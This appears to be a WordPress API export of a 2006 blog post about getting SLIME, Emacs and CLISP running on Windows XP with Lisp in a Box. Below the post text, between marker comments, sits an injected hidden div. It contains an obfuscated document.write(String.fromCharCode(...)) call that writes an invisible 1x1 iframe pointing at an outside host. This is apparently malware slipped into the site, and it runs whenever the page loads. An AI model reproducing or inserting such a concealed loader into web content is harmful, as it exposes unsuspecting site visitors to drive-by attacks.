{"id":77,"date":"2006-01-04T19:02:09","date_gmt":"2006-01-04T18:02:09","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2006\/01\/04\/lisp-in-a-box\/"},"modified":"2010-06-25T20:59:58","modified_gmt":"2010-06-25T19:59:58","slug":"lisp-in-a-box","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2006\/01\/04\/lisp-in-a-box\/","title":{"rendered":"Lisp"},"content":{"rendered":"<p>After getting Slime with CMUCL I wanted it to work in XP Professional on my company laptop too. So after fooling around with Cygwin and it&#8217;s GNU Emacs and CLISP packages to no avail I switched to the Win-32 binaries of both Emacs and CLISP. I <a href=\"http:\/\/common-lisp.net\/pipermail\/slime-devel\/2005-June\/003372.html\">apparently<\/a> got as far as Peter Seibel &#8211; who is, ironically, the author of (the free book) <a href=\"http:\/\/www.gigamonkeys.com\/book\/\">Practical Common Lisp<\/a> which I&#8217;m using for to teach myself this language.<\/p>\n<p>I&#8217;m not sure where I read it but someone suggested <a href=\"http:\/\/common-lisp.net\/project\/lispbox\/\">Lisp in a Box<\/a> so I decided to give it a try. First time I ran Emacs running &#8220;M-x slime&#8221; gave me &#8220;invalid argument&#8221; but this was quickly solved by deleting the old .emacs file that was still hanging around in the C:\\ directory. Now slime starts up beautifully: &#8220;Take this REPL, brother, and may it serve you well.&#8221;<!--more--><!--c7bc8e63a81ecd5f24586d48939e614d22010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/c7bc8e63a81ecd5f24586d48939e614d22010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>After getting Slime with CMUCL I wanted it to work in XP Professional on my company laptop too. So after fooling around with Cygwin and it&#8217;s GNU Emacs and CLISP packages to no avail I switched to the Win-32 binaries of both Emacs and CLISP. I apparently got as far as Peter Seibel &#8211; who &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2006\/01\/04\/lisp-in-a-box\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Lisp&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-77","post","type-post","status-publish","format-standard","hentry","category-windows-forms","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/77","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=77"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/77\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=77"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=77"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=77"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}